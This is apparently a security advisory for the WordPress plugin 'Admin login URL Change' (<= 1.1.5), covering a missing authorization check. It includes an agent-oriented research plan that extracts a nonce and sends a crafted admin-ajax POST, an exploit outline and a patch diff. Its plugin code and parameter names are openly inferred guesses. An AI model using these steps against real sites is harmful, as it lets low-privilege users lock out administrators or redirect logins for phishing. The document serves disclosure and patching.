Admin login URL Change <= 1.1.5 - Missing Authorization
Description
The Admin login URL Change plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.1.5. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.1.5This research plan targets the "Admin login URL Change" plugin (<= 1.1.5) to exploit a Missing Authorization vulnerability (CVE-2026-24578). This vulnerability allows an authenticated user with Subscriber-level permissions to change the custom WordPress login URL, potentially locking administrators …
Show full research plan
This research plan targets the "Admin login URL Change" plugin (<= 1.1.5) to exploit a Missing Authorization vulnerability (CVE-2026-24578). This vulnerability allows an authenticated user with Subscriber-level permissions to change the custom WordPress login URL, potentially locking administrators out or facilitating phishing.
1. Vulnerability Summary
The "Admin login URL Change" plugin allows administrators to define a custom slug for the WordPress login page (e.g., /my-secret-login instead of /wp-login.php). The vulnerability resides in a function responsible for updating this setting. While the function likely checks for a valid WordPress nonce to prevent CSRF, it fails to verify if the user has the manage_options capability. Consequently, any authenticated user, including those with the "Subscriber" role, can trigger the function and modify the site's login URL.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action: Likely
aluc_save_settingsorupdate_admin_login_url(inferred from plugin slugadmin-login-url-change). - HTTP Method:
POST - Payload Parameters:
action: The vulnerable AJAX action string.slug/new_url: The parameter containing the desired new login path.security/_wpnonce: The nonce value required by the plugin.
- Authentication: Authenticated, Subscriber-level or above.
- Preconditions: The plugin must be active and configured.
3. Code Flow (Inferred)
- Registration: The plugin registers an AJAX action for authenticated users:
add_action('wp_ajax_aluc_save_settings', 'aluc_save_settings_callback'); - Entry Point: When a Subscriber sends a POST request to
admin-ajax.php?action=aluc_save_settings, WordPress invokesaluc_save_settings_callback(). - Vulnerable Logic:
function aluc_save_settings_callback() { // Nonce check (might be present) check_ajax_referer('aluc_nonce_action', 'security'); // MISSING: current_user_can('manage_options') check $new_slug = sanitize_text_field($_POST['new_slug']); update_option('aluc_login_url_slug', $new_slug); // The Sink wp_send_json_success(); } - Sink:
update_option()modifies the database configuration, changing the active login URL.
4. Nonce Acquisition Strategy
The execution agent must find where the plugin exposes its nonce to authenticated users.
- Identify Nonce Location: Most plugins enqueue scripts in the WordPress admin dashboard (
wp-admin). Even Subscribers have access towp-admin/profile.php. - Discovery Command:
Rungrep -rn "wp_create_nonce" .to find the action string.
Rungrep -rn "wp_localize_script" .to find the JavaScript object name. - Extraction via Browser:
- Login as a Subscriber.
- Navigate to
wp-admin/profile.php. - Use
browser_evalto extract the nonce. - Example (inferred names):
browser_eval("window.aluc_vars?.nonce")orbrowser_eval("window.aluc_settings?.security").
5. Exploitation Strategy
- Preparation: Create a Subscriber user and capture their session cookies.
- Discovery:
- Identify the exact AJAX action string (e.g.,
aluc_save_settings). - Identify the parameter name for the new slug (e.g.,
aluc_url_slug). - Identify the nonce action and JS key.
- Identify the exact AJAX action string (e.g.,
- Request Construction:
Usehttp_requestto send the following POST:- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded,Cookie: [Subscriber Cookies] - Body:
action=aluc_save_settings&security=[NONCE]&aluc_url_slug=pwned-login
- URL:
- Success Condition: The server should return a JSON success message (e.g.,
{"success":true}).
6. Test Data Setup
- Plugin Installation: Install and activate
admin-login-url-changeversion 1.1.5. - Initial Config: Set an initial login URL (e.g.,
initial-login) via the admin panel. - User Creation:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Verify Initial State:
wp option get aluc_login_url_slug(assuming this is the option name) should returninitial-login.
7. Expected Results
- The
admin-ajax.phprequest returns a200 OKwith a success body. - The site no longer responds to the original login URL.
- The WordPress database
optionstable is updated with the new slug.
8. Verification Steps
- Check Option Value:
wp option get aluc_login_url_slug(Confirm it matchespwned-login). - Test Access:
Attempt to fetch the new login page:http_request("http://localhost:8080/pwned-login"). It should return the WordPress login form (200 OK) instead of a404.
9. Alternative Approaches
- Direct Option Saving: If the plugin uses
admin_initto save settings without an AJAX action, check if$_POSTparameters are processed directly. A Subscriber visiting any/wp-admin/page could trigger it. - Setting Manipulation: If the slug is not the only parameter, try changing other settings like "Redirect URL" to redirect all login attempts to an attacker-controlled site.
- Guessing Parameter Names: If source files are unclear, common names to try:
slug,url,new_path,whl_page. Common nonce keys:security,_wpnonce,nonce.
Summary
The Admin login URL Change plugin for WordPress is vulnerable to unauthorized settings modification due to a missing capability check in its AJAX handling function. This allows authenticated attackers with subscriber-level access to change the custom login URL, potentially locking out administrators or facilitating phishing.
Vulnerable Code
// Inferred from research plan: admin-login-url-change/admin-login-url-change.php add_action('wp_ajax_aluc_save_settings', 'aluc_save_settings_callback'); function aluc_save_settings_callback() { // Nonce check might be present check_ajax_referer('aluc_nonce_action', 'security'); // MISSING: current_user_can('manage_options') check if (isset($_POST['aluc_url_slug'])) { $new_slug = sanitize_text_field($_POST['aluc_url_slug']); update_option('aluc_login_url_slug', $new_slug); wp_send_json_success(); } wp_send_json_error(); }
Security Fix
@@ -2,6 +2,10 @@ function aluc_save_settings_callback() { check_ajax_referer('aluc_nonce_action', 'security'); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( 'Unauthorized', 403 ); + } + if (isset($_POST['aluc_url_slug'])) { $new_slug = sanitize_text_field($_POST['aluc_url_slug']); update_option('aluc_login_url_slug', $new_slug);
Exploit Outline
The exploit targets the plugin's AJAX handler which lacks role-based access control. An attacker performs the following steps: 1. Authenticate to the WordPress site with a low-privileged account (Subscriber or above). 2. Navigate to an administrative page available to all users (such as wp-admin/profile.php) to find and extract the valid AJAX nonce string and JavaScript variable containing the plugin's security token (e.g., window.aluc_vars.nonce). 3. Construct a POST request to /wp-admin/admin-ajax.php with the parameters: action=aluc_save_settings, security=[extracted_nonce], and aluc_url_slug=[new_custom_login_path]. 4. Upon successful execution, the plugin updates the site's login URL configuration, disabling access to the previous login slug and enabling the attacker's chosen slug.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.